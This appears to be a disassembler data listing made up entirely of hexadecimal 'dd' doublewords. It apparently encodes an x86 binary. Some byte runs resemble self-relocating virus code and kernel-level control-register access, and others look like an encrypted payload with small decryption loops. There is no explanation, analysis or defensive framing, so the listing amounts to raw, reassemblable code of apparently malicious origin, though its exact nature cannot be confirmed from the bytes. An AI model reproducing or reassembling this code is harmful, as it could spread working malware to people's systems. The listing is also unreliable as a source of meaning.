		dd 1385h, 0C4BE6600h, 2AE9A7h, 1D480000h, 4D3FE9C5h, 96DF3A75h
		dd 61606060h, 8E961h, 55FD0000h, 1A749BFEh, 0E96193B4h
		dd 0FFFFFF77h, 5390F8AEh, 20660FDAh, 0F31718EBh, 9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E3489Dh
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 0D5B58BFFh, 8107E348h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0D9B53B00h
		dd 0F07E348h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
		dd 24C88C66h, 0FC00A03h, 1984h,	0BB535000h, 2, 1E09858Bh
		dd 188607E0h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
		dd 0FFFFFFCFh, 2474FF50h, 595FF08h, 5007E01Ah, 244C010Fh
		dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h,	665B0258h
		dd 324C88Ch, 840FC00Ah,	9, 1E09858Bh, 0C607E0h,	4FF5800h
		dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
		dd 3884h, 2BB00h, 858B0000h, 7E01E09h, 0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 7E0122Dh,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 2D85C700h, 7E012h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 7A85C700h
		dd 107E348h, 50000000h,	244C010Fh, 7E858FFEh, 8D07E348h
		dd 0E3487685h, 7EBD8D07h, 8907E348h, 23E938h, 858D0000h
		dd 7E014DDh, 538408Bh, 9B46F317h, 48768589h, 858D07E3h
		dd 7E014DDh, 893C408Bh,	0E3487A85h, 93858D07h, 8907E348h
		dd 0E01A0585h, 87E907h,	8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 6858D00h, 8907E34Bh,	0E0254585h, 2E858D07h, 8907E34Bh
		dd 0E0300185h, 56858D07h, 8907E34Bh, 0E02E5D85h, 8EB07h
		dd 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E016B185h
		dd 3F858D07h, 8B07E39Ah, 888B08h, 8B000010h, 4A8B660Ah
		dd 0B78D89FCh, 8307E34Bh, 0E00569BDh, 840F0007h, 0Fh, 0FF006A60h
		dd 0E018A995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 7E34BB3h, 4BB7B58Bh, 0CEC107E3h
		dd 72896610h, 0B7B58B02h, 6607E34Bh, 61FC7289h,	4BB3858Bh
		dd 8DC307E3h, 0E026F995h, 9958907h, 8907E01Eh, 0E0203995h
		dd 3985FF07h, 0C607E020h, 0E0075985h, 0D8685307h, 0FFFCB148h
		dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0A98589D0h, 8D07E018h
		dd 0E348AD85h, 0E1858907h, 0E907E007h, 51h, 24748B60h
		dd 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh
		dd 840F00F9h, 16h, 0F0C7A3Bh, 158Fh, 28EA8300h,	8B0C428Bh
		dd 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h
		dd 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5C0E9h
		dd 5B4E900h, 0DB680000h, 0E907E34Dh, 0FFFD33EBh, 0E34F1668h
		dd 33E1E907h, 9368FFFDh, 0E907E34Fh, 0FFFD33D7h, 0E3505168h
		dd 33CDE907h, 5968FFFDh, 0E907E351h, 0FFFD33C3h, 87A15B43h
		dd 0FC16CEB5h, 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h
		dd 0FFE3B5CFh, 76592B45h, 0ECD2A4BEh, 4D381832h, 0D753872Ah
		dd 0E37DEF21h, 0BAA0CBE2h, 0AE916B29h, 0A9540CEFh, 17FBADA4h
		dd 5B61585Dh, 0BAA09918h, 0A0EFC129h, 446929BAh, 0E29BAA1h
		dd 29BAA0A0h, 1BD3BC96h, 0A0DBD215h, 0BA66A9BAh, 2EECF024h
		dd 0D37E9A0Bh, 18517DBCh, 9F8922D3h, 0DFD2F50Ch, 97A9BA4Ch
		dd 9FFB3E44h, 99AE5A5Ah, 9EA35D3Fh, 0BE5FCA7h, 1A597028h
		dd 0DA46BAF7h, 980797A1h, 838E3C3Fh, 0F15359ACh, 0F5183C1Fh
		dd 0A1D9BEBCh, 0BFC46FC2h, 637AB967h, 79AD3640h, 24FD50A6h
		dd 6634BE18h, 2596C4ADh, 6000004h, 784A641Eh, 0EDBFD991h
		dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h
		dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D753C4h, 2BAE48BAh
		dd 3F868B45h, 29BAA16Fh, 0BF0966D7h, 78B6C6D9h,	0D2FB64B0h
		dd 0B6BA4E2Fh, 1BC66EC3h, 23492F01h, 0B9BAB100h, 637ACD29h
		dd 0B9BB7140h, 0FBA0D29h, 65260C0Ah, 171CC781h,	767B3519h
		dd 0D2D78F78h, 0BB654C6Fh, 0BE1129B9h, 0B20459A2h, 150C11C9h
		dd 0A8054E6Ah, 80381FF9h, 847E847Bh, 0ECCAE49Eh, 54340CBEh
		dd 356D9h, 452B2300h, 0B19A748Bh, 13F6F4F9h, 5DAAB05Bh
		dd 0BAA09816h, 0C419CE29h, 0E798C72h, 0B5A520B3h, 0DB937A2Ch
		dd 5D441630h, 3002A1A5h, 8839013Ch, 0F7BADDC8h,	7F29B9F7h
		dd 4629272Ch, 0BCA2748Eh, 7DA5FD02h, 0ECD2A4BEh, 8BCA2D32h
		dd 0B9F84968h, 0DCE23529h, 2D44FEE2h, 0B0B56F53h, 1A51B3B9h
		dd 0A28B88EEh, 4B938269h, 14C8CCD8h, 62A5ABAFh,	29B9BF4Bh
		dd 9BB26C50h, 0EDCED16Fh, 5992E798h, 0A75C635Dh, 6DBAC06Bh
		dd 40250B15h, 0A3C6DD88h, 2E5A8B9Fh, 0E7EDC619h, 80EE140Eh
		dd 2EA6997h, 59410000h,	0CCB3859Fh, 4328FA14h, 0B69F718Bh
		dd 3012E4FEh, 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h
		dd 1630EAD0h, 89284B36h, 0F521D751h, 452BE983h,	0B79A748Bh
		dd 49ACF9FFh, 0CFD48C6Fh, 0F2D8D2D8h, 51353338h, 0A0A9082Bh
		dd 82D529BAh, 8530EAD0h, 0A11D506Bh, 783529BAh,	2329BAB0h
		dd 3980853Fh, 29BA9074h, 0CDE443CDh, 5AAC58AAh,	0B28BDE2Eh
		dd 0EE13FE32h, 6D38664Fh, 0BE000002h, 30021CD6h, 0A5779149h
		dd 1CEE08C0h, 8F617B33h, 84D9F3ADh, 4A04E65Bh, 0C07A5E30h
		dd 39F1D4A6h, 0AD674D1Fh, 0A5C8B393h, 21D7520Ch, 2B660072h
		dd 62D73245h, 49695E59h, 0B59B999Eh, 5B8EF6FBh,	8EB8F91Ch
		dd 0FCE329BAh, 141A6D44h, 12F8429Fh, 22603E58h,	4D5434F8h
		dd 1DBh, 0A0CBE297h, 916B29BAh,	0F9F0F5AFh, 0F216F9F3h
		dd 757A3418h, 0A12E837Eh, 0F54829BAh, 7B5E304Ah, 0EDD2ACC3h
		dd 33393035h, 4D05E8E6h, 3A97E048h, 3E550DF0h, 12C47E64h
		dd 0B6D732Bh, 34EAF12Dh, 4B1A54h, 0D1640000h, 0B6D9F04Fh
		dd 2E5AB134h, 0B56D50AAh, 1C7310Ah, 0EFD8EE14h,	1AFC1h
		dd 0DA947C00h, 4F07EEC0h, 0C67E6335h, 39F1DAACh, 0B16B4D1Fh
		dd 0A4994297h, 1CEE08C2h, 92647E38h, 0BDDF7AFh,	71516B25h
		dd 514E6386h, 0B62821D7h, 0F321D1Ch, 29BAA0AAh,	624B25E4h
		dd 0A102AFAAh, 297C29BAh, 0B9E69125h, 0DD88131Fh, 5109ECC6h
		dd 1D00FE4Bh, 93794B65h, 3136F0D2h, 328A8F3Ah, 0FA314BE8h
		dd 797F3720h, 0CDE49C7Fh, 842F5AA1h, 0D1B6EB7Ah, 34576E19h
		dd 29BA517Dh, 3EA0A6F9h, 0C7CC866Ch, 112BE5C9h,	8E234631h
		dd 0E829BA51h, 0AD929095h, 65AFDBF5h, 2383AFC6h, 7D161B69h
		dd 504E9BA1h, 7E99B36Bh, 29B9DE2Fh, 1A310E12h, 59E13BF7h
		dd 0DBF2452Eh, 48621A01h, 0D2D78F76h, 6F56306Fh, 0C0BBB2B7h
		dd 21D9DAF1h, 3A343A8Dh, 0AE889F57h, 0D0B10CAh,	0BDC36E26h
		dd 0D48E7270h, 34ECD1CFh, 0EA49D72Fh, 0EA12B0D3h, 328C2679h
		dd 0A9082B4Fh, 0D529B9C9h, 0DBD2D782h, 0C8F35730h, 1F08E634h
		dd 0A7F1h, 0E29C8400h, 570FF6C8h, 0CE866B3Dh, 41F9E2B4h
		dd 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h, 13E5FFB7h
		dd 7959732Dh, 50466B8Eh, 0BE3021D7h, 8B452B24h,	0E8A28886h
		dd 0DD327BE3h, 0D1EBA58Bh, 34EAB7F3h, 29E054h, 0E22A0000h
		dd 29BAA0CCh, 5D6E9CFh,	0F0A891E9h, 0BDCE5AECh,	3CF6F812h
		dd 4F000000h, 0FDC4ED10h, 0FCDF29B9h, 71483F44h, 0E2F6181Eh
		dd 29BAA0CBh, 6B522C6Bh, 0BCB7AEB3h, 29BAA0F5h,	2E282E81h
		dd 9D778E48h, 2F9FEB6h,	0AEB46E50h, 4DE9154Ch, 4975D86h
		dd 2EF01218h, 24CBDh, 45030000h, 8489432Bh, 0E1E6A086h
		dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
		dd 2025DDC2h, 7E833B22h, 1FC8686Dh, 0C890000h, 63886824h
		dd 0C890000h, 3B206824h, 1C890000h, 18B85024h, 8907E34Dh
		dd 24048BC1h, 8304C483h, 248904ECh, 24048324h, 53515B04h
		dd 1C2307BBh, 245C295Fh, 438F5B04h, 8438108h, 5F1C2307h
		dd 52241C8Bh, 0C281E289h, 4, 8704C283h,	0FF5C2414h, 81592434h
		dd 4C4h, 2E4DE900h, 0BC9CFFFDh,	5662A25Eh, 0FCCA38BBh
		dd 25B86DD7h, 307E352h,	0EBD18BC5h, 20h, 7 dup(0)
		dd 56AE900h, 5EE90000h,	68000005h, 7E3544Dh, 0FD2E02E9h
		dd 54EE68FFh, 0F8E907E3h, 68FFFD2Dh, 7E356CDh, 0FD2DEEE9h
		dd 573668FFh, 0E4E907E3h, 22FFFD2Dh, 9466803Ah,	9DBF5ADh
		dd 80526C24h, 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h
		dd 9D55380Ah, 11CBB183h, 92C17F7h, 21D74EA8h, 46855CCEh
		dd 0D74E8E23h, 8F95E821h, 8E462B6Dh, 0A16B4289h, 71D2A9BAh
		dd 0ED80BE1Ch, 31ABD434h, 0B8000000h, 925B5679h, 0D023A9BAh
		dd 0ECC6A8CAh, 3464C06h, 29BAA0ABh, 0C0A48898h,	5F0A0106h
		dd 0F2C92548h, 15EF2E59h, 4F6E742Ch, 1BE0E2FCh,	76000000h
		dd 0BAA0CBE2h, 8DAA7629h, 7A5D3776h, 7579BCC2h,	32E59F3h
		dd 630EC6A9h, 462B4F49h, 0FA26898Eh, 9C15AE2Bh,	0B6F9FFD5h
		dd 5644C216h, 0BC6BC87Dh, 6BEA37Dh, 0BB3DA60Bh,	777DD0A9h
		dd 0F7D9987Dh, 0AE03263Dh, 0C8A9BB3Dh, 87B3CA75h, 1FFC1ED2h
		dd 22848A44h, 0FA112EF6h, 0BB13D6D7h, 6146A0A9h, 0A8E7FEA9h
		dd 0BB142C85h, 0F9FF52A9h, 0EC8AEACh, 0C48ECBF7h, 832BFCA0h
		dd 21EF1B7Dh, 36C8EB02h, 40AE5AE1h, 65D15B94h, 0A44FCE4Ch
		dd 8A55589Fh, 87E8B19Bh, 0F196D42Ah, 75C12C2Bh,	0B000000h
		dd 0D9F04FD1h, 79385B9Ah, 529BAA0h, 8469ACB2h, 0F22E59EAh
		dd 0F8FDB598h, 653F5601h, 0D4AEC57Fh, 3D3439F1h, 1D03D537h
		dd 4A638A63h, 13FCEE17h, 32EE5h, 0D6907800h, 4B03EABCh
		dd 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h, 18EA04BEh
		dd 8E607A34h, 7D9F3ABh,	6D4D6721h, 4D525F82h, 0BA2C21D7h
		dd 109AC620h, 0CFE43ACAh, 0F07FA9AFh, 15000002h, 898E462Bh
		dd 0BAA16B42h, 0A146E729h, 0A40C29BAh, 0AE29BAA0h, 29BAA0FFh
		dd 0BAA15A53h, 2002DC29h, 646A6166h, 0BAA08C21h, 0E9D0AAE9h
		dd 1E352C31h, 0BAA0B6FBh, 676DC069h, 172E0D13h,	585ECEF4h
		dd 0DEF5486Eh, 62671F04h, 0C018656Bh, 99BCD350h, 667790DDh
		dd 0CEEFC81Bh, 6BA636CFh, 28D5482h, 31190000h, 0A48B5D77h
		dd 1B00D2ECh, 8E774963h, 8EABCD6h, 0F6DF344Eh, 8BA55F41h
		dd 11BD5B9h, 7A944C2Fh,	0EE08C2A8h, 0B100230Eh,	0CD21D74Ch
		dd 9AC6C15Bh, 2C5C5432h, 9B959B11h, 93F6FBB5h, 191ED6B9h
		dd 58C81C22h, 71A1C4DBh, 0C72E5994h, 97315D74h,	3CDB9799h
		dd 6BF4BDE0h, 378A21D7h, 5224868Ch, 0DC5AE6Dh, 7A5F1108h
		dd 2BFD17C2h, 31898E46h, 163950EFh, 2676BE04h, 0F20D277Ah
		dd 29BA39BBh, 0AD969A86h, 4EF9F0F5h, 0C0785D37h, 0DE385BBAh
		dd 582E598Bh, 0D5AFEE05h, 783934ECh, 0FE21D76Bh, 0D556AB52h
		dd 0F49FFA3Ch, 35F7BADDh, 2C7F21D7h, 7EDC726h, 0A2A75F46h
		dd 0FE900ABh, 96B712Bh,	92975137h, 0D736524Bh, 221EF21h
		dd 4A6DACEBh, 21D73667h, 73B6BC0Fh, 26768897h, 4D273E91h
		dd 13FCAE66h, 595F565Bh, 0FAE1BBFAh, 2F463D42h,	0BA67A50Ch
		dd 787ED129h, 8185987Eh, 86A9A9C4h, 9C5638EAh, 0DBF5A097h
		dd 64692309h, 8B452701h, 383DF7D9h, 0A5F83B41h,	7C29BA52h
		dd 5D809794h, 2E59A5BDh, 0C0F11453h, 0B621D784h, 84DDD4F7h
		dd 469921D7h, 2376959Bh, 924C320Ch, 6C0A678h, 0C867A901h
		dd 0D7608EB1h, 7C562676h, 39F1D493h, 8D923D34h,	1E719096h
		dd 52DBD219h, 16229BAh,	0A4104EACh, 133B5434h, 85000000h
		dd 0BABBCBE2h, 0A8916B29h, 0EEF4EBF0h, 18C4h, 9AC65A00h
		dd 928C8F6h, 0A011348Fh, 0D629B9CDh, 8FD2D883h,	29B9E81Eh
		dd 0F04FD155h, 0D7C09AD9h, 0DE4D64C6h, 1EC9BFC6h, 60CDE407h
		dd 56A929BAh, 0B3050D50h, 217B2E59h, 0BA70283Bh, 651ED29Eh
		dd 0B20A0FBAh, 97BAD16Eh, 2676D86Fh, 32EACFA9h,	1130362Dh
		dd 0F8DAE5BEh, 826BE637h, 0AE54h, 5610F800h, 0CB836A3Ch
		dd 42FADFB1h, 0B56D5628h, 2DE7C99Bh, 2015BE13h,	986A843Eh
		dd 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h, 4AD2DF02h,	3AAC21D7h
		dd 0F04FD1A0h, 0F35CB6D9h, 88E22E59h, 0EBE2E79Fh, 0FED83B40h
		dd 4585E18h, 2E081F1Ch,	968D924Ch, 0F80E3190h, 2E26774Dh
		dd 0B1B76F54h, 61663F92h, 0F6E63753h, 45DF0Dh, 79610000h
		dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
		dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
		dd 1521D74Ah, 0ECC609A3h, 0AA644807h, 13FCFAFFh, 80AAB05Bh
		dd 3, 2B662416h, 86848943h, 0E3E1E6A0h,	45434800h, 0A4A2A761h
		dd 50308C2h, 66646923h,	0C2C0C57Dh, 222025DDh, 6D7E833Bh
		dd 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C268242Ch
		dd 89000029h, 3B682404h, 89000076h, 0F7BE2434h,	8907E352h
		dd 0F2685EF5h, 89000003h, 4832424h, 55580424h, 33F8BF57h
		dd 7C293ED8h, 8F5F0424h, 40810840h, 0D833F808h,	2434FF3Eh
		dd 4C48358h, 51242C8Bh,	0C181E189h, 4, 4C181h, 0C870000h
		dd 0B0E95C24h, 66FFFD28h, 57A0B817h, 0C50307E3h, 68E9C88Bh
		dd 0C000001h, 0E7067296h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh
		dd 36365D54h, 0BCECA4h,	52C55DD5h, 0A4D676D3h, 4100FC94h
		dd 50C1AEC4h, 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh
		dd 75D6A336h, 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h
		dd 9792A7ABh, 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h
		dd 94B6E592h, 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh
		dd 9389F55Ch, 0EDAFF4h,	0A6E3B2CDh, 0B5D4E594h,	445700C3h
		dd 0B0F3622Dh, 38AE29h,	3C0000h, 400000h, 2 dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 2Bh dup(0)
		dd 0E9000000h, 1FD4h, 0E35BF968h, 2729E907h, 0D368FFFDh
		dd 0E907E35Ch, 0FFFD271Fh, 0E35DA868h, 2715E907h, 4A68FFFDh
		dd 0E907E35Eh, 0FFFD270Bh, 0E35F1468h, 2701E907h, 368FFFDh
		dd 0E907E360h, 0FFFD26F7h, 0E360C968h, 26EDE907h, 7268FFFDh
		dd 0E907E361h, 0FFFD26E3h, 0E3653B68h, 26D9E907h, 0C668FFFDh
		dd 0E907E365h, 0FFFD26CFh, 0E3674868h, 26C5E907h, 5E68FFFDh
		dd 0E907E36Ah, 0FFFD26BBh, 0E36DC868h, 26B1E907h, 3268FFFDh
		dd 0E907E371h, 0FFFD26A7h, 0E3728A68h, 269DE907h, 0B68FFFDh
		dd 0E907E373h, 0FFFD2693h, 0E3738468h, 2689E907h, 0DB68FFFDh
		dd 0E907E373h, 0FFFD267Fh, 0E3755968h, 2675E907h, 4E68FFFDh
		dd 0E907E376h, 0FFFD266Bh, 0E3780A68h, 2661E907h, 0BDA5FFFDh
		dd 3017E903h, 0A78C5E78h, 1A03D5EFh, 94764862h,	426BC0DAh
		dd 1731EBCDh, 8DA76145h, 620D8BBh, 7A944E34h, 258CAF9Ah
		dd 5121D747h, 452B45DFh, 0A288868Bh, 7EA2CEE8h,	7787AAC1h
		dd 12E5AA7h, 5F0AC2A7h,	9A9A135Ah, 1F0121DAh, 79626065h
		dd 13C5BCC1h, 0F1C31E31h, 843A33FDh, 0EDA2D4D9h, 0F3BEE190h
		dd 8B21D9E2h, 327D8D38h, 0B4B97158h, 0ED42B7BDh, 0E4840A36h
		dd 68EF35B6h, 1C832E51h, 0A8FB21DAh, 626E9CA2h,	448953D4h
		dd 0D3000000h, 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h
		dd 70281121h, 0CCE5086Bh, 0B221DA9Fh, 0EC6AD5Fh, 0C71CDD09h
		dd 0B60B6C7Ch, 3EBD3FFh, 43013B93h, 5F41B50Dh, 0B7BD6816h
		dd 0D42075B1h, 1019E53h, 2BE80000h, 88868B45h, 545D80A6h
		dd 2A29BAA1h, 0C4272CD7h, 0DEF607EAh, 15A9E8FCh, 99909540h
		dd 424800E7h, 0BBA16248h, 3B3F7295h, 0E43729BAh, 923D3439h
		dd 69502A8Dh, 0AFB5ACB1h, 280ECFB5h, 0C772696Eh, 3EDE92ADh
		dd 0B0DC29BAh, 8DA1E397h, 3D15BDA0h, 7F8A9296h,	270D070Dh
		dd 9B81536Dh, 9C84DCE1h, 5D65889Fh, 0E32E5A7Dh,	0C64A7690h
		dd 39135269h, 4F929850h, 2677F900h, 0CD0C2376h,	4F540CF3h
		dd 0AC4A658h, 0E080E05h, 1C5B722Ch, 0B808B8F9h,	7B64BE29h
		dd 1CC7BEC3h, 0E2B416h,	7E9F6D46h, 0CFB8E636h, 1CD2A1h
		dd 823C2400h, 0F7AF9668h, 6E260BDDh, 0E1998254h, 5913F5C7h
		dd 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h, 0B3859F57h, 19F913CDh
		dd 45A60B2Eh, 5ED021D7h, 8F492BC4h, 0DCFF3E75h,	29BAA0D5h
		dd 4E484EA1h, 0BD97AE68h, 261D22DAh, 0B3258922h, 6B718416h
		dd 12F8D209h, 0D1305258h, 9AD9F04Fh, 1A1FD7C0h,	18DA1D23h
		dd 5E2E5AA0h, 0F0055EB2h, 7F2A9DE7h, 0BD7A337Ah, 62C321D9h
		dd 973AF0Dh, 969C53D4h,	0E6000000h, 748B452Bh, 0A09F1235h
		dd 84D729BAh, 0F4CE317Eh, 0E9C8EB0Fh, 9529BAA0h, 97919742h
		dd 0AFF6FBB5h, 29BAA4C1h, 0A2BC765Ch, 2B30EAD0h, 0D7EE4DD3h
		dd 5A7D0EB4h, 1B35882Eh, 0EB0221EFh, 77F396C8h,	768DE026h
		dd 0E600BA9Ch, 9F783214h, 0E63682D7h, 0F8DD0BF4h, 0FE00001Bh
		dd 70425C16h, 0E5B7D189h, 5C2E4800h, 0CFA1BB73h, 0C41933EDh
		dd 8A44261Bh, 0BA9E70h,	793114E6h, 0EDA78D5Fh, 0E508F3D3h
		dd 21D744CCh, 2BA640B2h, 0A3758F49h, 12EC03BDh,	0F71772Fh
		dd 8B452B15h, 0E8A28886h, 0BBC784CEh, 2FE9CF55h, 1C4A6D84h
		dd 1A2E5AA6h, 9EA45E40h, 843C257Fh, 28DD887Fh, 54C88841h
		dd 0E847C98Dh, 116692D1h, 89723BF8h, 0C67AC3DCh, 0BCD0F9C2h
		dd 0ED3B73B6h, 0D1FD72EBh, 97F9E341h, 876E20A5h, 0CDD3CACFh
		dd 0F3565BAEh, 787C3419h, 800229C4h, 0B90D1366h, 68496C57h
		dd 0E6D2BABh, 0D6F910BBh, 71CBA1EFh, 0AC644D27h, 8BAAB0A7h
		dd 61472138h, 0D5BB8DA7h, 60772F14h, 4BD2743Dh,	0CB70A6Eh
		dd 0A2B60133h, 7BA992A1h, 1B23h, 1731EBD3h, 8CA65E45h
		dd 31DD5BAh, 76904831h,	0EE08C2A4h, 19FB3099h, 8F73455Fh
		dd 6E9BBD5h, 7C62344Eh,	0DDC8A8C2h, 0D743F7BAh,	730D7F21h
		dd 868B452Bh, 2E45E22Eh, 5A8E6B0Bh, 203A8D2Eh, 0F119DD6h
		dd 70F61930h, 0E6267A77h, 3DF7DE93h, 0EEE0BD6h,	0EB0E2502h
		dd 66A916C3h, 55D62B5h,	0E2051C1Bh, 6E093FE3h, 69230963h
		dd 2968A7BEh, 93FAB06h,	7C80D362h, 728A4154h, 0D5CFD5CAh
		dd 678AC9EFh, 6208F34Ah, 0CBE6E134h, 0B36208F2h, 0C99BB560h
		dd 245029E3h, 0B9ADE595h, 1A81A2D0h, 8D750000h,	0E7B9D3h
		dd 775C2E48h, 0EAD3A5BFh, 64461832h, 923B90AAh,	0E701BB9Dh
		dd 5D773115h, 0D6F0A88Bh, 4A641E04h, 555C7F6Ah,	2121D743h
		dd 452B15AFh, 4923868Bh, 961B3E62h, 0E029BAA0h,	0E6DDE28Dh
		dd 0A7848CE0h, 0A3D56D90h, 0F84B2E5Ah, 0EBCDA7DEh, 0AFB92B31h
		dd 71E1D03h, 7AA082E4h,	9AB10426h, 89A4BF6Eh, 13177CACh
		dd 0E43F63Bh, 969399CEh, 19D3B993h, 0D4171D14h,	0B511828Bh
		dd 49548A96h, 0AA624971h, 0A7AAAEA5h, 3047F2C7h, 0B284A10Dh
		dd 6D84D791h, 0F2F8B093h, 64C34DA5h, 719B2A4Dh,	0C81B9312h
		dd 37F1D7B1h, 0A613F420h, 4D783A2Dh, 2D13E547h,	6858361Ah
		dd 0BA654762h, 0DC72BBE1h, 3D6B5482h, 19B7h, 839D573Fh
		dd 0F812CAB1h, 6F894126h, 0E2FCB49Dh, 5A742E10h, 8567DC05h
		dd 0FBDFB1CBh, 72552741h, 0E8CEA0BAh, 4934142Eh, 0D7418B26h
		dd 0E781F321h, 6C1A9AC6h, 42977E44h, 0F0F6A159h, 0C7EA10F6h
		dd 29B9B4EAh, 1318D0B9h, 47F2451Ch, 9D26EA42h, 0B9B5377Ah
		dd 41EC3F29h, 0CFFB072Ah, 32852E59h, 149ECE18h,	53CCD60Ch
		dd 31DBEE76h, 0D306F86h, 21DA93A4h, 37482EDAh, 7CB379E2h
		dd 496CCBD1h, 2679E21Dh, 0C5F1085Bh, 80A3668Ch,	29B9B331h
		dd 4CF6FA4Dh, 0CCC9CF1Fh, 0F7BEF2E5h, 2E0D13D4h, 0ABBAF417h
		dd 10BC3117h, 0CEEE762h, 52564D52h, 2E457E52h, 17ADA60Bh
		dd 0D27DD02Fh, 8CAB75CDh, 0A5735275h, 47F333B7h, 51604AE6h
		dd 0C0786108h, 6E19C4BBh, 84977D57h, 0E877FA49h, 7A943F48h
		dd 2F08C2A8h, 0E376200Fh, 0C895C3ACh, 2E000018h, 0A0728C46h
		dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh
		dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h,	21D7409Ch
		dd 2BD670E2h, 0E39B8445h, 373CE7DEh, 7008A8D4h,	0F4F8B298h
		dd 494F58C8h, 0F50C2BF5h, 757B351Bh, 8ECFF316h,	0F6492E5Ah
		dd 0CDD192DCh, 0A1CDE443h, 19FD6073h, 5F635A5Fh, 55073FF0h
		dd 55B4BA72h, 7A343432h, 0AA5FB226h, 71E02BC3h,	2B0818BAh
		dd 14FBD514h, 0CC6AA5Ch, 0CEBC306h, 3A8D9A92h, 0AD674923h
		dd 5EABB1A8h, 34161A06h, 95B8CF7Ah, 9A31EA30h, 0FD3C53A6h
		dd 0F209D7DAh, 9A4C9F95h, 3FAFFB7h, 0DEC49EFDh,	52380A24h
		dd 7DB5BF98h, 5D4679FCh, 18022Fh, 520CF400h, 0C77F6638h
		dd 3EF6DBADh, 0B1695224h, 29E3C597h, 1C11BA0Fh,	9466803Ah
		dd 0ADCF6B0h, 83556F27h, 0E9C9E39Dh, 40D6DBFEh,	2EA021D7h
		dd 8B452B94h, 45E22E86h, 8FBB022Eh, 4763B4A5h, 10BFE241h
		dd 662E595Fh, 3C22FC13h, 0D44D6882h, 5521D6DFh,	7A546BCAh
		dd 61507397h, 1D21D6DFh, 0E5081FCAh, 21D6DECCh,	0F7595FB2h
		dd 6B853F25h, 3B52D13Fh, 7636B718h, 0D5EC3F26h,	455C14FBh
		dd 0DA4C706h, 6929BA07h, 6961B16h, 8DE029BAh, 6C532587h
		dd 0DEC39DB4h, 0D5D32026h, 585C35EFh, 0EDE63481h, 1759D604h
		dd 0B59D0000h, 280FE1FBh, 9F845670h, 12FBCDE7h,	8C6E405Ah
		dd 7A63B8D2h, 0F29E3C5h, 859F593Dh, 0FE18D0B3h,	728C462Ch
